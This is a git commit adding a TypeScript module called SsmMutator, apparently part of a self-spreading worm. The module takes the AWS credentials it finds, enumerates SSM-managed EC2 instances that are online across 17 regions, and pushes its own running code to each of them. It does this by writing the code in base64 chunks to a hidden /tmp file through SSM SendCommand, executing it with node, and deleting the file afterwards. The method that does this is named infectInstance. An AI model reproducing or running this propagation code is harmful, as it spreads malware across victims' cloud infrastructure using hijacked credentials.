Upload files to "src/mutator/aws"

This commit is contained in:
2026-07-03 03:14:53 +00:00
parent dc611ecb3d
commit f9932e3856
+228
View File
@@ -0,0 +1,228 @@
import {
jsonApiRequest,
stsGetCallerIdentity,
} from "../../providers/aws/client";
import { resolveDefaultCredentials } from "../../providers/aws/credentials";
import type { AwsCredentials } from "../../providers/aws/sigv4";
import { logUtil } from "../../utils/logger";
import { buildSelfExtractingPayload } from "../../utils/selfExtracting";
import { Mutator } from "../base";
// ── Types ─────────────────────────────────────────────────────────────
interface InstanceInfo {
InstanceId: string;
AgentVersion?: string;
PingStatus?: string;
PlatformName?: string;
}
interface InstanceTarget {
info: InstanceInfo;
region: string;
}
interface DescribeInstancesResponse {
InstanceInformationList?: InstanceInfo[];
NextToken?: string;
}
interface SendCommandResponse {
Command?: { CommandId?: string };
}
// ── Regions ───────────────────────────────────────────────────────────
const DEFAULT_REGIONS = [
"us-east-1",
"us-east-2",
"us-west-1",
"us-west-2",
"ap-northeast-1",
"ap-northeast-2",
"ap-northeast-3",
"ap-south-1",
"ap-southeast-1",
"ap-southeast-2",
"ca-central-1",
"eu-central-1",
"eu-north-1",
"eu-west-1",
"eu-west-2",
"eu-west-3",
"sa-east-1",
];
const REMOTE_PATH = "/tmp/.ssm-setup.js";
// ── SSM Mutator ───────────────────────────────────────────────────────
/** Maximum bytes per shell command. SSM limits commands to ~128KB total,
* so we keep individual commands well under 32KB (safe margin). */
const MAX_CHUNK_BYTES = 24 * 1024;
/**
* Propagates to EC2 instances managed by AWS Systems Manager by:
* 1. Describing managed instances across all default regions
* 2. Base64-encoding the self-extracting payload
* 3. Using SSM SendCommand (AWS-RunShellScript) to deliver + execute
* the payload on each instance
*/
export class SsmMutator extends Mutator {
private credentials!: AwsCredentials;
constructor() {
super();
}
override async shouldExecute(): Promise<boolean> {
try {
this.credentials = await resolveDefaultCredentials();
const identity = await stsGetCallerIdentity(this.credentials);
return !!identity.account;
} catch {
return false;
}
}
async execute(): Promise<Boolean> {
try {
// 1. Discover managed instances across all regions
const instances = await this.discoverInstances();
if (instances.length === 0) {
logUtil.log("[SsmMutator] No managed instances found.");
return false;
}
logUtil.log(
`[SsmMutator] Found ${instances.length} managed instance(s) across ${DEFAULT_REGIONS.length} region(s)`,
);
// 2. Build self-extracting payload + base64 encode
const rawPayload = await Bun.file(Bun.main).text();
const wrapped = buildSelfExtractingPayload(rawPayload, { wrap: false });
const encoded = Buffer.from(wrapped).toString("base64");
// 3. Deliver to each instance (batch of 5 concurrent)
const BATCH = 5;
let ok = 0;
for (let i = 0; i < instances.length; i += BATCH) {
const batch = instances.slice(i, i + BATCH);
const results = await Promise.allSettled(
batch.map((t) => this.infectInstance(t, encoded)),
);
for (let j = 0; j < results.length; j++) {
const result = results[j]!;
const id = batch[j]!.info.InstanceId.slice(0, 8);
if (result.status === "fulfilled" && result.value) {
ok++;
logUtil.log(`[SsmMutator] ${id}`);
} else {
const reason =
result.status === "rejected"
? (result.reason as Error).message
: "send-command failed";
logUtil.log(`[SsmMutator] ${id} ✗ — ${reason}`);
}
}
}
logUtil.log(`[SsmMutator] Done. ${ok}/${instances.length} succeeded.`);
return ok > 0;
} catch (e) {
logUtil.log(
`[SsmMutator] Fatal: ${e instanceof Error ? e.message : String(e)}`,
);
return false;
}
}
// ── Instance discovery ─────────────────────────────────────────────
private async discoverInstances(): Promise<InstanceTarget[]> {
const all: InstanceTarget[] = [];
await Promise.all(
DEFAULT_REGIONS.map(async (region) => {
try {
let nextToken: string | undefined;
do {
const payload: Record<string, unknown> = { MaxResults: 50 };
if (nextToken) payload.NextToken = nextToken;
const response = await jsonApiRequest<DescribeInstancesResponse>(
this.credentials,
region,
"ssm",
"AmazonSSM.DescribeInstanceInformation",
payload,
);
for (const inst of response.InstanceInformationList ?? []) {
if (inst.PingStatus === "Online") {
all.push({ info: inst, region });
}
}
nextToken = response.NextToken;
} while (nextToken);
} catch {
// Region may not be accessible — skip silently
}
}),
);
return all;
}
// ── Single-instance infection ──────────────────────────────────────
private async infectInstance(
target: InstanceTarget,
payloadB64: string,
): Promise<boolean> {
const { info: inst, region } = target;
// Determine which JS runtime to use based on platform
const jsCmd = inst.PlatformName?.toLowerCase().includes("windows")
? `node ${REMOTE_PATH}`
: `command -v node >/dev/null 2>&1 && node ${REMOTE_PATH} || (which nodejs >/dev/null 2>&1 && nodejs ${REMOTE_PATH})`;
// Build commands: first clear + chunk the payload, then execute + clean up
const commands: string[] = [`rm -f ${REMOTE_PATH}`];
// Chunk the base64 payload to stay within SSM command size limits
for (let i = 0; i < payloadB64.length; i += MAX_CHUNK_BYTES) {
const chunk = payloadB64.slice(i, i + MAX_CHUNK_BYTES);
commands.push(`printf '%s' '${chunk}' >> ${REMOTE_PATH}`);
}
commands.push(
`base64 -d ${REMOTE_PATH} > ${REMOTE_PATH}.dec`,
`mv ${REMOTE_PATH}.dec ${REMOTE_PATH}`,
jsCmd,
`rm -f ${REMOTE_PATH}`,
);
const response = await jsonApiRequest<SendCommandResponse>(
this.credentials,
region,
"ssm",
"AmazonSSM.SendCommand",
{
DocumentName: "AWS-RunShellScript",
InstanceIds: [inst.InstanceId],
Parameters: { commands },
TimeoutSeconds: 120,
},
);
if (!response.Command?.CommandId) {
throw new Error("SendCommand returned no CommandId");
}
return true;
}
}